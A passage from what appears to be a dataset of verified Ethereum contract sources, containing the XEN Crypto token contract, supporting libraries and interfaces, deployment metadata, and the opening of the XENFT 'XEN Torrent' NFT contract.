) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
db6bae01552456e484f5d20cf7fa86f17b1e990b
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n 